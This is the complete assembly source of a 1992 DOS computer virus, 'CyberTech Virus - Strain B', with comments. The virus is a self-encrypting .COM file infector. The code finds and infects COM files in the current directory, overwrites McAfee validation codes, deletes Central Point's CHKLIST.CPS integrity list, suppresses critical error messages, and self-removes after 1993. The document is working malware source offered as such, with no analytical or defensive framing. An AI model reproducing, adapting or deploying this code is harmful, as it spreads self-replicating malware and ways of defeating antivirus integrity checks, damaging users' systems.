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;
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; CyberTech Virus - Strain B John Tardy (C) 1992
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;
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; Written in A86 V3.22
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;
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; Description : This is a Non-Resident Self-Encrypting .COM file infector
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; which infects COM files in the current directory. It will
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; remove CHKLIST.CPS from the current directory after it has
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; infected a program. CHKLIST.CPS is a file which is used by
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; VDEFEND of PCSHELL and Central Point AntiVirus. When a
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; validation code is added by SCAN of McAfee, it will overwrite
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; the code, so the file is no longer CRC protected anymore.
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; After 1993, the virus activated. It then displays a message
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; that your system has been infected. The virus will remove
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; itself from the infected file and completely restore it. If
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; a validation code was added, it is lost, but the file is not
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; corrupted and will function normally. Even when the file is
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; compressed afterwards by an executable file compressor, it is
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; uncompressed. Before 1994, the virus sometimes display it's
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; copyright. This is caused when the random encryption counter
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; is a 0. It will redefine it, so there is no visible text in
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; the virus. It checks also if there is enough diskspace
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; aveable and installs a critical error handler.
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;
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Org 0h ; Generate .BIN file
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Start: Jmp MainVir ; Jump to decryptor code at EOF
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Db '*' ; Virus signature (very short)
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;
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; Decryptor procedure
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;
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MainVir: Call On1 ; Push offset on stack
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On1: Pop BP ; Calculate virus offset
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Sub BP,Offset MainVir+3 ;
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Push Ax ; Save possible error code
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Lea Si,Crypt[BP] ; Decrypt the virus with a
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Mov Di,Si ; very simple exclusive or
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Mov Cx,CryptLen ; function.
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Decrypt: Lodsb ;
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Xor Al,0 ;
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Stosb ;
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Loop Decrypt ;
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DecrLen Equ $-MainVir ; Length of the decryptor
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;
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; Main initialization procedure
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;
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Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
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Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
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Mov Cs:Start+100h,Ax ;
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Mov Cs:Start[2]+100h,Bx ;
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Xor Ax,Ax ; Get original interrupt 24
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Push Ax ; (critical error handler)
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Pop Ds ;
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Mov Bx,Ds:[4*24h] ;
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Mov Es,Ds:[4*24h]+4 ;
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Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
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Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
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Lea Bx,NewInt24[Bp] ; Install own critical error
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Push Cs ; handler to avoid messages
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Pop Es ; when a disk is write
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Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
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Mov Word Ptr Ds:[4*24h]+2,Es ;
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Push Cs ;
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Pop Ds ;
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Mov Ah,30h ; Check if DOS version is
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Int 21h ; 3.0 or above for correct
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Cmp Al,3 ; interrupt use
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Jae TestDate ;
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Jmp Ready ;
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TestDate: Mov Ah,2ah ; Check if 1993 is past time
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Int 21h ; already
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Cmp Cx,1994 ;
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Jae Clean ; - 1994 or more
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Jmp NoClean ; - Not 1994 or more
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;
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; Main Cleanup procedure
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;
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Clean: Mov Ah,1ah ; Move DTA to a safe place
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Mov Dx,0fd00h ;
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Int 21h ;
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Mov Ax,Cs:[2ch] ; Find the name of the
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Mov Ds,Ax ; program that is now
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Mov Si,0 ; executed (me must search in
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Mov Cx,4000h ; the DOS environment for
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Seeker: Lodsb ; safe tracking of the name
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Cmp Al,1 ;
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Je On3 ;
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Loop Seeker ;
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On3: Inc Si ; Transfer the found name
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Push Cs ; to a safe address in memory
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Pop Es ;
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Mov Di,0fd80h ;
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Mov Cx,80h ;
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Trans: Lodsb ;
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Cmp Al,0 ;
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Je Verder ;
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Stosb ;
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Loop Trans ;
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Verder: Stosb
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Sub Di,12
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Push Cs
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Pop Ds
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Mov Ax,[Di][0] ;
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Cmp Ax,'OC'
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Jne Normal
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Mov Ax,[Di][2]
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Cmp Ax,'MM'
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Jne Normal
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Mov Ax,[Di][4]
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Cmp Ax,'NA'
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Jne Normal
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Jmp Ready
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Normal: Push Cs ; Read file attributes and
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Pop Ds ; check if an error has
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Mov Ax,4300h ; occured
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Mov Dx,0fd80h ;
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Int 21h ;
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Jnc DeInfect ; - No error, DeInfect
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Jmp Ready ; - Error, Ready
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DeInfect: Push Cx ; Store old file attributes
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Mov Ax,4301h ; Clear file attributes
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Xor Cx,Cx ; (for read only etc.)
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Int 21h ;
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Mov Ax,3d02h ; Open the file
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Int 21h ;
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Mov Bx,Ax ; Read file date/time stamp
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Mov Ax,5700h ; and store it on the stack
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Int 21h ; for later use
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Push Cx ;
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Push Dx ;
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Mov Ah,3eh ; Close file
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Int 21h ;
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Mov Dx,0fd80h ; Create a new file with the
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Xor Cx,Cx ; same name
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Mov Ah,3ch ;
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Int 21h ;
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Mov Bx,Ax ; store file handle in BX
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Mov Dx,100h ; program to file (the original
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Mov Cx,Bp ; file is now back again)
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Sub Cx,0fch ;
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Mov Ah,40h ; write memory image of host
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Int 21h ;
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Pop Dx ; restore file date/time
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Pop Cx ; stamp
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Mov Ax,5701h ;
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Int 21h ;
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Mov Ah,3eh ; close file
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Int 21h ;
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Pop Cx ; restore file attributes
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Mov Ax,4301h ;
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Mov Dx,0fd80h ;
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Int 21h ;
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Push Cs ; Show message that the
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Pop Ds ; system has been infected
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Mov Ah,9 ; and shutdown virus
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Lea Dx,Removed[Bp] ;
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Int 21h ;
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Jmp Ready ;
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;
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; Main viral part
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;
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NoClean: Mov Ah,1ah ; Store DTA at safe place
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Mov Dx,0fd00h ;
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Int 21h ;
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Mov Ah,4eh ; FindFirsFile Function
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Search: Lea Dx,FileSpec[BP] ; Search for filespec given
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Xor Cx,Cx ; in FileSpec adress
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Int 21h ;
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Jnc Found ; Found - Found
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Jmp Ready ; Not Found - Ready
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Found: Mov Ax,4300h ; Get file attributes and
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Mov Dx,0fd1eh ; store them on the stack
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Int 21h ;
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Push Cx ;
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Mov Ax,4301h ; clear file attributes
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Xor Cx,Cx ;
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Int 21h ;
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Mov Ax,3d02h ; open file with read/write
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Int 21h ; access
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Mov Bx,5700h ; save file date/time stamp
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Xchg Ax,Bx ; on the stack
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Int 21h ;
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Push Cx ;
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Push Dx ;
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Mov Ah,3fh ; read the first 4 bytes of
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Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
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Mov Cx,4 ;
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Int 21h ;
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Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
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Cmp Ax,'ZM' ;
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Je ExeFile ;
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Cmp Ax,'MZ' ; Check if renamed weird exe-
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Je ExeFile ; file
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Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
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Cmp Ah,'*' ;
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Jne Infect ;
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ExeFile: Call Close ; If one of the checks is yes,
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Mov Ah,4fh ; close file and search next
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Jmp Search ; file
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FSeek: Xor Cx,Cx ; subroutine to jump to end
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Xor Dx,Dx ; or begin of file
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Int 21h ;
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Ret ;
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Infect: Mov Ax,0fd1e[0] ; check if the file is
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Cmp Ax,'OC' ; COMMAN?.COM (usually result
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Jne NoCommand ; if COMMAND.COM)
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Mov Ax,0fd1e[2] ;
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Cmp Ax,'MM' ;
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Jne NoCommand ;
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Mov Ax,0fd1e[4] ;
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Cmp Ax,'NA' ;
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Jne NoCommand ;
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Mov Ax,4202h ; Jump to EOF
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Call Fseek ;
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Cmp Ax,0f000h ; Check if file too large
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Jae ExeFile
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Cmp Ax,VirS ; Check if file to short
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jbe ExeFile
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Sub Ax,VirS
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Xchg Cx,Dx
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Mov Dx,4200h
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Xchg Dx,Ax
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Mov EOFminVir[BP],Dx
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Int 21h
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Mov Ah,3fh
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Mov Dx,Offset Buffer
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Mov Cx,VirS
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Int 21h
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Cld
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Mov Si,Offset Buffer
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Mov Cx,VirLen
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On5:
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Push Cx
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On6: Lodsb
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Cmp Al,0
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Jne On4
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Loop On6
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On4: Cmp Cx,0
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Je Found0
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Pop Cx
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Cmp Si,SeekLen
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Jb On5
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Jmp NoCommand
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Found0: Pop Cx
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Sub Si,Offset Buffer
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Sub Si,Cx
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Xor Cx,Cx
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Mov Dx,EOFminVir[BP]
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Add Dx,Si
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Mov Ax,4200h
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Int 21h
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Jmp CalcVirus
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EOFminVir Dw 0
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NoCommand: Mov Ax,4202h ; jump to EOF
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Call FSeek ;
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Cmp Ax,0f000h ; Check if file too large
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Jb NoExe1 ; if yes, goto exefile
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Jmp ExeFile ;
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NoExe1: Cmp Ax,10 ; Check if file too short
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Ja NoExe2 ; if yes, goto exefile
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Jmp ExeFile ;
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NoExe2: Mov Cx,Dx ; calculate pointer to offset
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Mov Dx,Ax ; EOF-52 (for McAfee validation
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Sub Dx,52 ; codes)
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Mov Si,Cx ; move file pointer to the
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Mov Di,Dx ; calculated address
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Mov Ax,4200h ;
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Int 21h ;
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Mov Ah,3fh ; read the last 52 bytes
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Mov Dx,0fb00h ; of the file
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Mov Cx,52 ;
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Int 21h ;
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Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
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Jne Check2 ; AG option
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Cmp Ds:0fb02h,0aac5h ;
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Jne Check2 ;
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Mov Ax,4200h ; yes - let virus overwrite
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Mov Cx,Si ; the code with itself, so
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Mov Dx,Di ; the file has no validation
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Int 21h ; code
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Jmp CalcVirus ;
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Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
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Jne Eof ; AV option
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Cmp Ds:0Fb02h+42,0aac5h ;
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Jne Eof ;
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Mov Ax,4200h ; yes - let virus overwrite
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Mov Cx,Si ; the code with itself, so
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Mov Dx,Di ; the file has no validation
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Add Dx,42 ; code
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Int 21h ;
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Jmp CalcVirus ;
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Eof: Mov Ax,4202h ; not AG or AV - jump to
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Call Fseek ; EOF
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CalcVirus: Sub Ax,3 ; calculate the jump for the
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Mov Cs:CallPtr[BP]+1,Ax ; virus start
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GetCrypt: Mov Ah,2ch ; get 100s seconds for the
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Int 21h ; encryption value.
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Cmp Dl,0 ; if not zero, goto NoZero
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Jne NoZero ;
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Mov Ah,9 ; If zero, display copyright
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Lea Dx,Msg[Bp] ; message and generate again
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Int 21h ; a number
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Jmp GetCrypt ;
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NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
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Lea Si,MainVir[BP] ; Move changed decryptor to
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Mov Di,0fb00h ; a safe place in memory
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Mov Cx,DecrLen ;
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Rep Movsb ;
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Lea Si,Crypt[BP] ; Encrypt the virus and merge
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Mov Cx,CryptLen ; it to the changed decryptor
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Encrypt: Lodsb ; code
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Xor Al,Dl ;
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Stosb ;
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Loop Encrypt ;
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Mov Ah,40h ; append virus at EOF or over
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Lea Dx,0fb00h ; the validation code of
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Mov Cx,VirLen ; McAfee
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Int 21h ;
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Mov Ax,4200h ; Jump to BOF
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Call FSeek ;
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Mov Ah,40h ; Write Jump at BOF
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Lea Dx,CallPtr[BP] ;
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Mov Cx,4 ;
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Int 21h ;
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Call Close ; Jump to Close routine
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Ready: Mov Ah,1ah ; Restore DTA to normal
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Mov Dx,80h ; offset
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Int 21h ;
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Mov Ax,Cs:OldInt24[Bp] ; remove critical error
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Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
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Xor Bx,Bx ; original handler at the
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Push Bx ; interrupt table
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Pop Ds ;
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Mov Ds:[4*24h],Dx ;
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Mov Ds:[4*24h]+2,Ax ;
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Push Cs ;
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Pop Ds ;
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Pop Ax ; restore possible error code
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Mov Bx,100h ; nice way to jump to the
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Push Cs ; begin of the original host
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Push Bx ; code
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Retf ;
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Close: Pop Si ; why???
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Pop Dx ; restore file date/time
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Pop Cx ; stamp
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Mov Ax,5701h ;
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Int 21h ;
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Mov Ah,3eh ; close file
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Int 21h ;
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Mov Ax,4301h ; restore file attributes
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Pop Cx ;
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Mov Dx,0fd1eh ;
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Int 21h ;
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Mov Ah,41h ; delete CHKLIST.CPS (the
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Lea Dx,CpsName[BP] ; Central Point CRC list)
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Int 21h ;
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Push Si ; why???
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Ret
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;
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; Message when we are in 1994
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;
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;Removed Db 13,10,'Virus removed : ',13,10
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Removed Db 13,10,'The previous year you have been infected by a virus'
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Db 13,10,'without knowing or removing it. To be gentle to you'
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Db 13,10,'I decided to remove myself from your system. I suggest'
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Db 13,10,'you better buy ViruScan of McAfee to ensure yourself'
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Db 13,10,'complete security of your precious data. Next time you'
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Db 13,10,'could be infected with a malevolent virus.'
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Db 13,10,10,'May I say goodbye to you for now....',13,10
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;
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; Message when encryption byte = 0 or when we are living in 1994
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;
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Msg Db 13,10,'CyberTech Virus - Strain B'
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Db 13,10,'(C) 1992 John Tardy of Trident'
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Db 13,10,'$'
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;
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; New critical error handler
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;
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NewInt24: Mov Al,3 ; supress any critical error
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Iret ; messages
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CpsName Db 'chklist.cps',0 ; name for CP CRC-list
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OldInt24 Dd 0 ; storage place for old int 24
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CallPtr Db 0e9h,0,0 ; jump to place at BOF
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FileSpec Db '*.COM',0 ; filespec and infection marker
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OrgPrg: Int 20h ; original program
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Db 'JT' ;
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CryptLen Equ $-Crypt ; encrypted part length
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VirLen Equ $-MainVir ; total virus length
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Buffer Equ 0f040h ; buffer offset
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VirS Equ VirLen*2
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SeekLen Equ Buffer+Virs
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